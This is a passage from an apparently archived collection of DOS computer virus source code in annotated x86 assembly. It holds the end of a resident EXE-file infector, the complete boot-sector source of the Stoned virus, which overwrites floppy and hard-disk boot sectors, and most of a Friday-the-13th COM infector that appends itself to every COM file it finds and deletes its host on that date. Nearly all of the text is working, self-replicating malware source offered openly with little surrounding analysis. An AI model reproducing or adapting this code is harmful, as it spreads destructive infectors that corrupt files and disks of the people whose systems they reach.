  1273.     MOV  Word ptr CS:[HANDLE],-1  ;CLEAR HANDLE
  1274.                         ;
  1275.     MOV  AX,3D02             ;
  1276.     INT  21H            ;OPEN FILE R/W
  1277.     JC   L0484               ;
  1278.                         ;
  1279.     MOV  CS:[HANDLE],AX      ;0460     2EA37000
  1280.     MOV  AX,CS               ;0464     8CC8
  1281.     MOV  DS,AX               ;0466     8ED8
  1282.     MOV  ES,AX               ;0468     8EC0
  1283.     MOV  BX,[HANDLE]         ;046A     8B1E7000
  1284.     MOV  AX,5700             ;046E     B80057
  1285.     INT  21H            ;GET/SET FILE DATE TIME
  1286.                         ;
  1287.     MOV  [HOST_DATE],DX      ;0473     89167400
  1288.     MOV  [HOST_TIME],CX      ;0477     890E7600
  1289.     MOV  AX,4200             ;047B     B80042
  1290.     XOR  CX,CX               ;047E     33C9
  1291.     MOV  DX,CX               ;0480     8BD1
  1292.     INT  21H            ;MOVE FILE POINTER
  1293. L0484:   JC   L04C3               ;0484     723D
  1294.                         ;
  1295.     CMP  Byte ptr [A004E],00 ;0486     803E4E0000
  1296.     JE   L0490               ;048B     7403
  1297.     JMP  L04E6               ;048D     EB57
  1298.                         ;
  1299.     NOP                 ;048F     90
  1300. L0490:   MOV  BX,1000             ;0490     BB0010
  1301.     MOV  AH,48               ;0493     B448
  1302.     INT  21H            ;ALLOCATE MEMORY
  1303.     JNC  L04A4               ;0497     730B
  1304.                         ;
  1305.     MOV  AH,3E               ;0499     B43E
  1306.     MOV  BX,[HANDLE]         ;049B     8B1E7000
  1307.     INT  21H            ;CLOSE FILE (OBVIOUSLY)
  1308.     JMP  I_90           ;04A1     E94301
  1309.                         ;
  1310. L04A4:   INC  Word ptr [A008F]    ;04A4     FF068F00
  1311.     MOV  ES,AX               ;04A8     8EC0
  1312.     XOR  SI,SI               ;04AA     33F6
  1313.     MOV  DI,SI               ;04AC     8BFE
  1314.     MOV  CX,710H             ;04AE     B91007
  1315.     REP  MOVSB               ;04B2     A4
  1316.     MOV  DX,DI               ;04B3     8BD7
  1317.     MOV  CX,[A0011]          ;?GET HOST SIZE - YES
  1318.     MOV  BX,[70H]       ;04B9     8B1E7000
  1319.     PUSH ES             ;04BD     06
  1320.     POP  DS             ;04BE     1F
  1321.     MOV  AH,3FH              ;04BF     B43F
  1322.     INT  21H            ;READ FROM A FILE
  1323. L04C3:   JC   L04E1               ;04C3     721C
  1324.                         ;
  1325.     ADD  DI,CX               ;04C5     03F9
  1326.                         ;
  1327.     XOR  CX,CX               ;POINT TO BEGINNING OF FILE
  1328.     MOV  DX,CX               ;
  1329.     MOV  AX,4200H       ;
  1330.     INT  21H            ;MOVE FILE POINTER
  1331.                         ;
  1332.     MOV  SI,offset MS_DOS    ;04D0     BE0500
  1333.     MOV  CX,5           ;04D3     B90500
  1334.     REP  CS:MOVSB       ;04D7     2EA4
  1335.     MOV  CX,DI               ;04D9     8BCF
  1336.     XOR  DX,DX               ;04DB     33D2
  1337.     MOV  AH,40H              ;
  1338.     INT  21H            ;WRITE TO A FILE
  1339. L04E1:   JC   L04F0               ;
  1340.     JMP  L05A2               ;
  1341.                         ;
  1342. ;---------------------------------------;
  1343. ; READ EXE HEADER            ;
  1344. ;---------------------------------------;
  1345. L04E6:   MOV  CX,1CH              ;READ EXE HEADER INTO BUFFER
  1346.     MOV  DX,offset EXE_HDR   ;
  1347.     MOV  AH,3F               ;
  1348.     INT  21H            ;READ FILE
  1349.     JC   L053C               ;
  1350.                         ;
  1351. ;---------------------------------------;
  1352. ; TWEEK EXE HEADER TO INFECTED HSOT    ;
  1353. ;---------------------------------------;
  1354.     MOV  Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
  1355.     MOV  AX,[EXE_HDR+14]          ;   SS
  1356.     MOV  [HOST_SS],AX        ;
  1357.     MOV  AX,[EXE_HDR+16]          ;   SP
  1358.     MOV  [HOST_SP],AX        ;
  1359.     MOV  AX,[EXE_HDR+20]          ;   IP
  1360.     MOV  [HOST_IP],AX        ;
  1361.     MOV  AX,[EXE_HDR+22]          ;   CS
  1362.     MOV  [HOST_CS],AX        ;
  1363.     MOV  AX,[EXE_HDR+4]      ;   SIZE (IN 512 BLOCKS)
  1364.     CMP  Word ptr [EXE_HDR+2],0   ;   SIZE MOD 512
  1365.     JZ   L051B               ;IF FILE SIZE==0...JMP
  1366.     DEC  AX             ;
  1367. L051B:   MUL  Word ptr [BLOCK_SIZE]    ;
  1368.     ADD  AX,[EXE_HDR+2]      ;
  1369.     ADC  DX,0           ;AX NOW = FILE SIZE
  1370.                         ;
  1371.     ADD  AX,0FH              ;MAKE SURE FILE SIZE IS PARA. BOUND
  1372.     ADC  DX,0           ;
  1373.     AND  AX,0FFF0H      ;
  1374.     MOV  [HOST_SIZE],AX      ;SAVE POINTER TO BEGINNING OF VIRUS
  1375.     MOV  [HOST_SIZE+2],DX    ;
  1376.                         ;
  1377.     ADD  AX,710H             ;(SIZE OF VIRUS)
  1378.     ADC  DX,0           ;
  1379. L053C:   JC   L0578               ;IF > FFFFFFFF...JMP
  1380.     DIV  Word ptr [BLOCK_SIZE]    ;
  1381.     OR   DX,DX               ;
  1382.     JE   L0547               ;
  1383.     INC  AX             ;
  1384. L0547:   MOV  [EXE_HDR+4],AX      ;
  1385.     MOV  [EXE_HDR+2],DX      ;
  1386.                         ;---------------;
  1387.     MOV  AX,[HOST_SIZE]                ;DX:AX = HOST SIZE
  1388.     MOV  DX,[HOST_SIZE+2]              ;
  1389.     DIV  Word ptr [A007A]              ;
  1390.     SUB  AX,[EXE_HEAD+8]                    ;SIZE OF EXE HDR
  1391.     MOV  [EXE_HDR+22],AX                    ;VALUE OF CS
  1392.     MOV  Word ptr [EXE_HDR+20],offset BEGIN_EXE  ;VALUE OF IP
  1393.     MOV  [EXE_HDR+14],AX                    ;VALUE OF SS
  1394.     MOV  Word ptr [EXE_HDR+16],710H         ;VALUE OF SP
  1395.                         ;---------------;
  1396.     XOR  CX,CX               ;POINT TO BEGINNING OF FILE (EXE HDR)
  1397.     MOV  DX,CX               ;
  1398.     MOV  AX,4200H       ;
  1399.     INT  21H            ;MOVE FILE POINTER
  1400. L0578:   JC   L0584               ;
  1401.                         ;
  1402. ;---------------------------------------;
  1403. ; WRITE INFECTED EXE HEADER       ;
  1404. ;---------------------------------------;
  1405.     MOV  CX,1CH              ;
  1406.     MOV  DX,offset EXE_HDR   ;
  1407.     MOV  AH,40H              ;
  1408.     INT  21H            ;WRITE TO A FILE
  1409. L0584:   JC   L0597               ;
  1410.     CMP  AX,CX               ;
  1411.     JNE  L05A2               ;
  1412.                         ;
  1413.     MOV  DX,[HOST_SIZE]      ;POINT TO END OF FILE
  1414.     MOV  CX,[HOST_SIZE+2]    ;
  1415.     MOV  AX,4200             ;
  1416.     INT  21H            ;MOVE FILE POINTER
  1417. L0597:   JC   L05A2               ;
  1418.                         ;
  1419. ;---------------------------------------;
  1420. ; WRITE VIRUS CODE TO END OF HOST ;
  1421. ;---------------------------------------;
  1422.     XOR  DX,DX               ;
  1423.     MOV  CX,710H             ;(SIZE OF VIRUS)
  1424.     MOV  AH,40H              ;
  1425.     INT  21H            ;WRITE TO A FILE
  1426.                         ;
  1427. L05A2:   CMP  Word ptr CS:[008F],0     ;IF...
  1428.     JZ   L05AE               ;...SKIP
  1429.     MOV  AH,49H              ;
  1430.     INT  21H            ;FREE ALLOCATED MEMORY
  1431.                         ;
  1432. L05AE:   CMP  Word ptr CS:[HANDLE],-1  ;IF ...
  1433.     JE   I_90           ;...SKIP
  1434.                         ;
  1435.     MOV  BX,CS:[HANDLE]      ;RESTORE HOST'S DATE/TIME
  1436.     MOV  DX,CS:[HOST_DATE]   ;
  1437.     MOV  CX,CS:[HOST_TIME]   ;
  1438.     MOV  AX,5701H       ;
  1439.     INT  21H            ;GET/SET FILE DATE/TIME
  1440.                         ;
  1441.     MOV  AH,3EH              ;
  1442.     INT  21H            ;CLOSE FILE
  1443.                         ;
  1444.     LDS  DX,CS:[HOST_NAME]   ;RESTORE HOST'S ATTRIBUTE
  1445.     MOV  CX,CS:[HOST_ATT]    ;
  1446.     MOV  AX,4301H       ;
  1447.     INT  21H            ;CHANGE FILE MODE
  1448.                         ;
  1449.     LDS  DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
  1450.     MOV  AX,2524H       ;
  1451.     INT  21H            ;SET VECTOR
  1452.                         ;
  1453. I_90:    POP  ES             ;
  1454.     POP  DS             ;
  1455.     POP  DI             ;
  1456.     POP  SI             ;
  1457.     POP  DX             ;
  1458.     POP  CX             ;
  1459.     POP  BX             ;
  1460.     POP  AX             ;
  1461.     POPF                ;   (OUR PUSHF)
  1462.     JMP  far CS:[OLD_21]          ;PASS CONTROL TO DOS
  1463.                         ;
  1464. ;-----------------------------------------------------------------------;
  1465. ;                                           ;
  1466. ;-----------------------------------------------------------------------
  1467.  
  1468. ************************************************************************
  1469. ------------------------------------------------------------------------
  1470. ------------------------------------------------------------------------
  1471. ************************************************************************
  1472.  
  1473. The "New Zealand Virus".
  1474. Also called - Stoned, Marijuana, San Diego Virus, Smithsonian Virus
  1475.  
  1476.  
  1477. CODE  SEGMENT
  1478.  
  1479.    ASSUME   CS:CODE
  1480.  
  1481. WORK_SPACE         EQU   512
  1482. MAXIMUM_SIZE   EQU   1BEH
  1483.  
  1484. VIRUS PROC  NEAR
  1485.  
  1486.                DB    0EAH     ;JMP   07C0:0005
  1487.                DW    5,7C0H
  1488.                JMP   INSTALL
  1489.  
  1490. ;  DRIVE_LETTER INDICATES BOOT DISK,  0 = A:, 2 = C:
  1491.  
  1492. DRIVE_LETTER        DB   0
  1493.  
  1494. OLD_13  LABEL DWORD
  1495. OFFS           DW   ?
  1496. SEGM           DW   ?
  1497.  
  1498. NEW_ADDRESS LABEL DWORD
  1499.                DW   CONTINUE
  1500. NEW_SEGMENT DW   0
  1501.  
  1502. REBOOT    LABEL DWORD
  1503.                DW   7C00H,0
  1504.  
  1505. NEW_13:
  1506.    PUSH  DS
  1507.    PUSH  AX
  1508.    CMP   AH,2             
  1509.    JC    SPINNING         
  1510.    CMP   AH,4
  1511.    JNC   SPINNING         
  1512.    OR    DL,DL             ; IS IT DRIVE A:?
  1513.    JNZ   SPINNING          ; JUMP IF NOT
  1514.    XOR   AX,AX
  1515.    MOV   DS,AX             
  1516.    MOV   AL,DS:43FH        ; IS DRIVE MOTOR SPINNING?
  1517.    TEST  AL,1              ; IF YES THEN JUMP
  1518.    JNZ   SPINNING
  1519.                
  1520.  
  1521. ; INT13 REQUEST IS FOR READ OR WRITE TO A: - MOTOR NOT YET STARTED.
  1522.  
  1523.    CALL  INFECT            ; NOT SPINNING - INFECT
  1524. SPINNING:
  1525.    POP   AX
  1526.    POP   DS
  1527.    JMP   CS:[OLD_13]     
  1528.  
  1529. INFECT:
  1530.    PUSH  BX                ; SAVE REGISTERS
  1531.    PUSH  CX
  1532.    PUSH  DX
  1533.    PUSH  ES
  1534.    PUSH  SI
  1535.    PUSH  DI
  1536.    MOV   SI,4              ; MAKE FOUR ATTEMPTS
  1537. GET_BOOT_SECTOR:
  1538.    MOV   AX,201H           ; READ SECTOR
  1539.    PUSH  CS                
  1540.    POP   ES                
  1541.    MOV   BX,OFFSET WORK_SPACE
  1542.    XOR   CX,CX             ; TRACK 0, SECTOR 0
  1543.    MOV   DX,CX             ; HEAD 0, DRIVE 0
  1544.    INC   CX                
  1545.    PUSHF                   
  1546.    CALL  CS:[OLD_13]
  1547.    JNC   BOOT_IS_DONE      ; READ OK.
  1548.    XOR   AX,AX             ; DRIVE RESET
  1549.    PUSHF
  1550.    CALL  CS:[OLD_13]
  1551.    DEC   SI                ; COUNT NUMBER OF TRIES
  1552.    JNZ   GET_BOOT_SECTOR   ; LOOP
  1553.    JMP   FINISH        
  1554. BOOT_IS_DONE:
  1555.    XOR   SI,SI             ; CODE SEGMENT START 
  1556.    MOV   DI,OFFSET WORK_SPACE  ; POINTER TO BOOT SECTOR
  1557.    CLD                     
  1558.    PUSH  CS      
  1559.    POP   DS                
  1560.    LODSW                   
  1561.    CMP   AX,DS:[DI]        ; OURS?
  1562.    JNZ   CREATE_BOOT       ; NO, CREATE BOOT
  1563.    LODSW                   ; RETRY
  1564.    CMP   AX,DS:[DI+2]      ; OURS?
  1565.    JZ    FINISH            ; NO, FINISH UP
  1566. CREATE_BOOT:
  1567.    MOV   AX,301H           ; WRITE ORIGINAL BOOT SECTOR FROM BUFFER
  1568.    MOV   BX,OFFSET WORK_SPACE  
  1569.    MOV   CL,3              
  1570.    MOV   DH,1              
  1571.                            
  1572.    PUSHF
  1573.    CALL  CS:[OLD_13]     ; WRITE 
  1574.    JC    FINISH        
  1575.    MOV   AX,301H         
  1576.    XOR   BX,BX           
  1577.    MOV   CL,01           
  1578.    XOR   DX,DX           
  1579.    PUSHF
  1580.    CALL  CS:[OLD_13]     
  1581. FINISH:
  1582.    POP   DI                ; RESTORE REGISTERS
  1583.    POP   SI
  1584.    POP   ES
  1585.    POP   DX
  1586.    POP   CX
  1587.    POP   BX
  1588.    RET
  1589.  
  1590. INSTALL:
  1591.    XOR   AX,AX
  1592.    MOV   DS,AX
  1593.    CLI
  1594.    MOV   SS,AX
  1595.    MOV   SP,7C00H        
  1596.    STI                     ; ENABLE INTERRUPTS
  1597.    MOV   AX,DS:4CH         ; SAVE OLD 13H 
  1598.    MOV   DS:[OFFS+7C00H],AX
  1599.    MOV   AX,DS:4EH
  1600.    MOV   DS:[SEGM+7C00H],AX
  1601.    MOV   AX,DS:413H        ; MEMORY AVAILABLE 
  1602.    DEC   AX                
  1603.    DEC   AX                
  1604.    MOV   DS:413H,AX        
  1605.    MOV   CL,6 
  1606.    SHL   AX,CL
  1607.    MOV   ES,AX                          ; ES: = FREE MEMORY ADDRESS
  1608.    MOV   DS:[NEW_SEGMENT+7C00H],AX   ; PUT IT INTO NEW JUMP VECTOR
  1609.  
  1610.    MOV   AX,OFFSET NEW_13             ; INSTALL NEW VIRUS VECTOR
  1611.    MOV   DS:4CH,AX
  1612.    MOV   DS:4EH,ES
  1613.  
  1614.    MOV   CX,OFFSET ENDOFPROGMEM
  1615.    PUSH  CS
  1616.    POP   DS                ; DS POINTS TO OUR CODE SEGMENT
  1617.    XOR   SI,SI             ; SI POINTS TO 0
  1618.    MOV   DI,SI             ; DI POINTS TO 0
  1619.    CLD                     ; SET DIRECTION FLAG TO INCREMENT
  1620.    REP   MOVSB             ; MOVE OURSELVES INTO HIGH MEMORY!
  1621.    JMP   NEW_ADDRESS    ; THIS JUMP TRANSFERS TO CONTINUE BUT IN HIGH MEM
  1622.  
  1623.  
  1624. ; THE FOLLOWING CODE IS EXECUTED AFTER BEING MOVED TO HIGH MEMORY
  1625. ; EXECUTION IS VIA THE JUMP TO NEW_ADDRESS
  1626.  
  1627. CONTINUE:
  1628.    MOV   AX,0              ; RESET DISK SYSTEM
  1629.    INT   13H               ; THIS IS THE INFECTED INT 13H
  1630.  
  1631.    XOR   AX,AX             ; READ REAL BOOT SECTOR
  1632.    MOV   ES,AX
  1633.    MOV   AX,201H
  1634.    MOV   BX,7C00H          ; INTO THE BOOT AREA OF RAM
  1635.    CMP   DRIVE_LETTER,0
  1636.    JZ    BOOT_A
  1637. BOOT_C:
  1638.    MOV   CX,0002H          ; FROM SECTOR 2 TRACK 0  HEAD 0 FOR FIRST HD
  1639.    MOV   DX,0080H
  1640.    INT   13H
  1641.    JMP   QUITPROG
  1642. BOOT_A:
  1643.    MOV   CX,0003H          ; FROM SECTOR 3 TRACK 0 HEAD 1 FOR DRIVE A:
  1644.    MOV   DX,0100H
  1645.    INT   13H
  1646.    JC    QUITPROG          ; FAILED READ!
  1647.  
  1648.    TEST  BYTE PTR ES:46CH,7   ; CHECK SYSTEM CLOCK LAST 3 BITS
  1649.    JNZ   NOMESSAGE
  1650.    MOV   SI,OFFSET MESSAGE    ; DS IS POINTING TO 7C0:000 WHICH
  1651.    PUSH  CS
  1652.    POP   DS
  1653. MSGLOOP:
  1654.    LODSB                   ; ALSO HAS THE TEXT
  1655.    OR    AL,AL
  1656.    JZ    NOMESSAGE
  1657.    MOV   AH,14
  1658.    MOV   BH,0
  1659.    INT   10H
  1660.    JMP   MSGLOOP
  1661.  
  1662. NOMESSAGE:
  1663.    PUSH  CS
  1664.    POP   ES
  1665.    MOV   AX,201H
  1666.    MOV   BX,OFFSET WORK_SPACE  ; READ BOOT SECTOR FROM HARD DISK
  1667.    MOV   CL,1    
  1668.    MOV   DX,0080H
  1669.    INT   13H
  1670.    JC    QUITPROG          ; BAD READ - SO JUMP
  1671.    PUSH  CS
  1672.    POP   DS
  1673.    MOV   SI,OFFSET WORK_SPACE  ; SOURCE IS THE BOOT SECTOR
  1674.    MOV   DI,0              ; DESTINATION IS OUR OWN CODE
  1675.    LODSW                   ; MOV  AX,DS:[SI]
  1676.                            ; ADD  SI,2
  1677.    CMP   AX,DS:[DI]        ; VIRUS?
  1678.    JNZ   SAVEBOOT          ; JUMP IF NOT
  1679.    LODSW                   ; MOV  AX,DS:[SI]
  1680.                            ; ADD  SI,2
  1681.    CMP   AX,DS:[DI+2]      ; HAS IT GOT A VIRUS?
  1682.    JNZ   SAVEBOOT
  1683. QUITPROG:
  1684.    MOV   DRIVE_LETTER,0         ; YES - SO BOOT DRIVE 0 FOR A>
  1685.    JMP   REBOOT            ; THIS JUMPS TO 0:7C00H TO CONTINUE BOOT CODE
  1686.  
  1687. SAVEBOOT:
  1688.    MOV   DRIVE_LETTER,2         ; DRIVE 2 FOR C>
  1689.    MOV   AX,301H           ; GONNA WRITE
  1690.    MOV   BX,OFFSET WORK_SPACE  ; OLD BOOT SECTOR
  1691.    MOV   CX,0007H          ; TO SECTOR 7
  1692.    MOV   DX,0080H          ;       OF DRIVE C>
  1693.    INT   13H
  1694.    JC    QUITPROG
  1695.    PUSH  CS
  1696.    POP   DS
  1697.    PUSH  CS
  1698.    POP   ES
  1699.    MOV   SI,OFFSET WORK_SPACE+MAXIMUM_SIZE
  1700.    MOV   DI,MAXIMUM_SIZE
  1701.    MOV   CX,400H-MAXIMUM_SIZE
  1702.    REP   MOVSB             ; SI -> DI AND INC BOTH    CX TIMES
  1703.    MOV   AX,301H           ; GONNA WRITE BOOT SECTOR
  1704.    XOR   BX,BX             ; FROM TOP OF OUR CODE
  1705.    INC   CL                ; SECTOR 1
  1706. ;  MOV   DX,0080H          ;<-- DX IS LEFT OVER FROM ABOVE
  1707.    INT   13H               ; DO IT
  1708.    JMP   QUITPROG
  1709.                       
  1710. MESSAGE:
  1711.          DB 7,'Your PC is now Stoned!',7,13,10,10,0
  1712.          DB 'LEGALISE MARIJUANA!'    ; This bit doesn't display!
  1713. ENDOFPROGMEM:
  1714.  
  1715. VIRUS ENDP
  1716.  
  1717. CODE  ENDS
  1718.    END   VIRUS
  1719.  
  1720.  
  1721. *****************************************************************
  1722. -----------------------------------------------------------------
  1723. -----------------------------------------------------------------
  1724. *****************************************************************
  1725.  
  1726. The original 'Friday the 13th"
  1727. Also called - Munich Virus, Miami Virus
  1728.  
  1729.  
  1730.  
  1731.  
  1732. ;-----------------------------------------------------------------------;
  1733. ; THE METHOD OF INFECTION:                           ;
  1734. ; SAVE FIRST 3 BYTES OF HOST TO SAVE AREA INSIDE OF VIRIUL SHELL     ;
  1735. ; APPEND VIRIUL SHELL TO END OF .COM FILE (ON A PARAGRAPH BOUNDARY!) ;
  1736. ;-----------------------------------------------------------------------;
  1737. ; ATTENTION!                                     ;
  1738. ; RESULTING FILE APPARENTLY MUST BE < 64K                            ;
  1739. ; REMEMBER THE STACK IS AT THE TOP OF THE 64K FILE! WHERE SHELL RESIDES   ;
  1740. ; STACK MUST HAVE ROOM FOR VIRUS USE                       ;
  1741. ;-----------------------------------------------------------------------;
  1742. CODE     SEGMENT PUBLIC 'CODE'         ;
  1743.     ASSUME    CS:CODE,DS:CODE,ES:CODE,SS:CODE
  1744.                         ;
  1745.     ORG  100H           ;SAME A .COM FILE FOR NOW
  1746.                         ;
  1747.     PUBLIC    HOST_SIZE      ;;
  1748.                         ;
  1749. ;-----------------------------------------------------------------------;
  1750. ; JUMP AROUND VIRUS DATA AREA                              ;
  1751. ;-----------------------------------------------------------------------;
  1752. BEGIN:   JMP  CONTINUE       ;
  1753.                         ;
  1754. ;-----------------------------------------------------------------------;
  1755. ; SHELL DATA AREA APPARENTLY FOLLOWS                            ;
  1756. ;-----------------------------------------------------------------------;
  1757. HOST_3        DB   ?,?,?          ;FIRST 3 BYTES OF HOST
  1758. ID       DB   'INFECTED',0   ;FYI ALREADY INFECTED ID
  1759.                         ;
  1760. NEW_3         DB   0E9H      ;TO REPLACE FIRST 3 BYTES OF HOST
  1761. OUR_BEGIN     DW   ?         ;
  1762.                         ;
  1763. HOST_TYPE     DB   '*.COM',0 ;TYPE OF FILES TO INFECT
  1764.                         ;
  1765. DTA      DB   21 DUP (?)     ;USED BY DOS
  1766.          DB   ?         ;FILE ATTRIBUTE
  1767.          DW   ?         ;FILES TIME
  1768.          DW   ?         ;FILES DATE
  1769. HOST_SIZE     DW   ?         ;FILE SIZE
  1770.          DW   ?         ;FILE SIZE
  1771. HOST_NAME     DB   13 DUP (?)     ;FILE NAME
  1772.                         ;
  1773. COMMAND_COM   DB   'COMMAND.COM',0     ;
  1774. COMMAND_LENGTH     EQU  $ - offset COMMAND_COM
  1775.                         ;
  1776. ;-----------------------------------------------------------------------;
  1777. ; SAVE INCOMMING ENVIRONMENT AND SETUP WORKING ENVIRONMENT      ;
  1778. ;-----------------------------------------------------------------------;
  1779. CONTINUE:                    ;
  1780.     PUSH CS             ;SAVE HOST SEGMENT
  1781.     PUSH AX             ;SAVE SPACE FOR HOST offset
  1782.                         ;
  1783.     PUSH AX             ;SAVE INCOMMING REGs
  1784.     PUSH BX             ;
  1785.     PUSH CX             ;
  1786.     PUSH DX             ;
  1787.     PUSH SI             ;
  1788.     PUSH DI             ;
  1789.     PUSH BP             ;
  1790.     PUSH DS             ;! NOT ES !
  1791.                         ;
  1792.     MOV  BP,SP               ;SAVE HOST offset (IN STACK)
  1793.     MOV  word ptr [BP+16],100H    ;   (FOR LATER RETF TO HOST)
  1794.                         ;
  1795.     CALL DUMMY               ;MOV AX,IP
  1796. DUMMY:   POP  AX             ;
  1797.     SUB  AX,(offset DUMMY - offset BEGIN)
  1798.                         ;
  1799.     MOV  CL,4           ;PASS CONTROL TO OURSELF WITH IP=100H
  1800.     SHR  AX,CL               ;
  1801.     MOV  BX,CS               ;
  1802.     ADD  AX,BX               ;
  1803.     SUB  AX,10H              ;
  1804.     PUSH AX             ;(OUR MODIFIED CS)
  1805.     MOV  AX,offset IN_CONTROL     ;(OUR IP)
  1806.     PUSH AX             ;
  1807.     RETF                ;
  1808.                         ;
  1809. ;-----------------------------------------------------------------------;
  1810. ;-----------------------------------------------------------------------;
  1811. IN_CONTROL:                  ;
  1812.     MOV  AX,CS               ;(INIT DS)
  1813.     MOV  DS,AX               ;
  1814.                         ;
  1815.     CALL REPLICATE      ;
  1816.     CALL DO_STUFF       ;DO STUFF HERE
  1817.                         ;
  1818.     JMP  ALL_DONE       ;PASS CONTROL TO HOST
  1819.                         ;
  1820. ;-----------------------------------------------------------------------;
  1821. ; REPRODUCE                                 ;
  1822. ;-----------------------------------------------------------------------;
  1823. REPLICATE:                   ;
  1824.     PUSH ES             ;
  1825.                         ;
  1826.     PUSH DS             ;
  1827.     POP  ES             ;
  1828.                         ;
  1829.     MOV  AH,1AH              ;SET DTA
  1830.     MOV  DX,OFFSET DTA       ;
  1831.     INT  21H            ;
  1832.                         ;
  1833.     MOV  AH,4EH              ;FIND FIRST
  1834.     XOR  CX,CX               ;
  1835.     MOV  DX,OFFSET HOST_TYPE ;
  1836.     INT  21H            ;
  1837.     JC   R_90           ;
  1838.                         ;
  1839. R_10:    CALL ATTACH              ;INFECT FOUND FILE
  1840.                         ;
  1841.     MOV  AH,4FH              ;FIND NEXT
  1842.     INT  21H            ;
  1843.     JNC  R_10           ;UNTIL NO MORE FOUND
  1844.                         ;
  1845. R_90:    POP  AX             ;
  1846.     PUSH AX             ;
  1847.                         ;
  1848.     PUSH DS             ;
  1849.     MOV  DS,AX               ;
  1850.     MOV  AH,1AH              ;RESTORE DTA
  1851.     MOV  DX,0080H       ;
  1852.     INT  21H            ;
  1853.     POP  DS             ;
  1854.                         ;
  1855.     POP  ES             ;
  1856.     RET                 ;
  1857.                         ;
  1858. ;-----------------------------------------------------------------------;
  1859. ;-----------------------------------------------------------------------;
  1860. ATTACH:  PUSH ES             ;IF 'COMMAND.COM' ATTEMPTED...
  1861.     MOV  AX,DS               ;
  1862.     MOV  ES,AX               ;
  1863.     MOV  SI,offset HOST_NAME ;
  1864.     MOV  DI,offset COMMAND_COM    ;
  1865.     MOV  CX,COMMAND_LENGTH   ;
  1866.     CLD                 ;
  1867.     REPE CMPSB               ;
  1868.     POP  ES             ;
  1869.     JNE  A_01           ;
  1870.     JMP  A_99           ;...DONT INFECT IT
  1871.                         ;
  1872. A_01:    MOV  AX,3D02H       ;OPEN R/W
  1873.     MOV  DX,offset HOST_NAME ;ie. '\COMMAND.COM'
  1874.     INT  21H            ;
  1875.     JNC  A_03           ;
  1876.     JMP  A_90           ;
  1877.                         ;
  1878. A_03:    MOV  BX,AX               ;BX=HANDLE
  1879.                         ;
  1880.     PUSH word ptr [HOST_3]   ;SAVE
  1881.     PUSH word ptr [HOST_3+2] ;SAVE
  1882.                         ;
  1883.     MOV  AH,3FH              ;READ FIRST 3 BYTES
  1884.     MOV  CX,3           ;
  1885.     MOV  DX,offset HOST_3    ;
  1886.     INT  21H            ;
  1887.     JC   A_80           ;
  1888.                         ;
  1889.     MOV  AL,[NEW_3]          ;IF ALREADY INFECTED...
  1890.     CMP  [HOST_3],AL         ; (YOU CAN TELL BY THE JUMP INSTRUCTION
  1891.     JNE  A_05           ;  AND BY THE SIZE OF THE JUMP)
  1892.     MOV  AX,[HOST_SIZE]      ;
  1893.     SUB  AX,(offset OUR_END - offset BEGIN)
  1894.     SUB  AX,3           ;
  1895.     CMP  word ptr [HOST_3+1],AX   ;
  1896.     JE   A_85           ;...DONT INFECT AGAIN
  1897.                         ;
  1898. A_05:    MOV  AX,4202H       ;POINT TO THE END
  1899.     XOR  CX,CX               ;
  1900.     XOR  DX,DX               ;
  1901.     INT  21H            ;
  1902.     JC   A_80           ;
  1903.                         ;
  1904.     OR   AX,0FH              ;ROUND UP TO NEXT PARAGRAPH
  1905.     INC  AX             ;
  1906.     SUB  AX,3           ;(TAKE INTO ACOUNT JMP INSTRUCTION SIZ)
  1907.     MOV  [OUR_BEGIN],AX      ;
  1908.                         ;
  1909.     MOV  AX,4200H       ;POINT TO FIRST 3 BYTES
  1910.     XOR  CX,CX               ;
  1911.     XOR  DX,DX               ;
  1912.     INT  21H            ;
  1913.     JC   A_80           ;
  1914.                         ;
  1915.     MOV  AH,40H              ;WRITE NEW 3 BYTES
  1916.     MOV  CX,3           ;
  1917.     MOV  DX,offset NEW_3          ;
  1918.     INT  21H            ;
  1919.     JC   A_80           ;
  1920.                         ;
  1921. ;REMEMBER, WERE ALREADY POINTING PAST THE FIRST 3 BYTES!
  1922.     MOV  AX,4201H       ;POINT TO END (ROUNDED UP TO PARA)
  1923.     XOR  CX,CX               ;
  1924.     MOV  DX,[OUR_BEGIN]      ;
  1925.     INT  21H            ;
  1926.     JC   A_80           ;
  1927.                         ;
  1928.     MOV  AH,40H              ;APPEND VIRUS TO END OF FILE
  1929.     MOV  CX,(offset OUR_END - offset BEGIN)
  1930.     MOV  DX,offset BEGIN          ;
  1931.     INT  21H            ;
  1932.     JC   A_80           ;
  1933.                         ;
  1934.     JMP  A_85           ;CLOSE AND RETURN
  1935.                         ;
  1936. A_80:    ;CALL     BEEP           ;
  1937.                         ;
  1938. A_85:    POP  word ptr [HOST_3+2] ;SAVE
  1939.     POP  word ptr [HOST_3]   ;SAVE
  1940.                         ;
  1941.     MOV  AH,3EH              ;CLOSE FILE
  1942.     INT  21H            ;
  1943.                         ;
  1944. A_90:    JNC  A_99           ;
  1945.     ;CALL     BEEP           ;
  1946. A_99:    RET                 ;
  1947.                         ;
  1948. ;-----------------------------------------------------------------------;
  1949. ; DO STUFF                                       ;
  1950. ;-----------------------------------------------------------------------;
  1951. DO_STUFF:                    ;
  1952.     PUSH ES             ;
  1953.                         ;
  1954.     MOV  AH,2AH              ;GET DATE
  1955.     INT  21H            ;
  1956.                         ;
  1957.     CMP  DL,13               ;IF FRIDAY THE 13th...
  1958.     JNE  DS_90               ;
  1959.     CMP  AL,5           ;
  1960.     JNE  DS_90               ;
  1961.                         ;
  1962.     XOR  AX,AX               ;FIND OUT INFECTED NAME
  1963.     MOV  CX,32767       ;
  1964.     XOR  DI,DI               ;
  1965.     MOV  ES,ES:[002CH]       ;
  1966.     CLD                 ;
  1967.     REPNE     SCASW               ;
  1968.     JNE  DS_90               ;
  1969.     ADD  DI,2           ;SKIP '01 00'
  1970.                         ;
  1971.     PUSH DS             ;DELETE SELF
  1972.     PUSH ES             ;
  1973.     POP  DS             ;
  1974.     MOV  AH,41H              ;
  1975.     MOV  DX,DI               ;
  1976.     INT  21H            ;
  1977.     POP  DS             ;
  1978.                         ;
  1979. DS_90:   POP  ES             ;
  1980.     RET                 ;
  1981.                         ;
  1982. ;-----------------------------------------------------------------------;
  1983. ; PASS CONTROL TO THE HOST PROGRAM                         ;
  1984. ;-----------------------------------------------------------------------;
  1985. ALL_DONE:                    ;
  1986.     MOV  AX,word ptr [HOST_3]     ;RESTORE HOSTS FIRST 3 BYTES
  1987.     MOV  ES:[100H],AX        ;
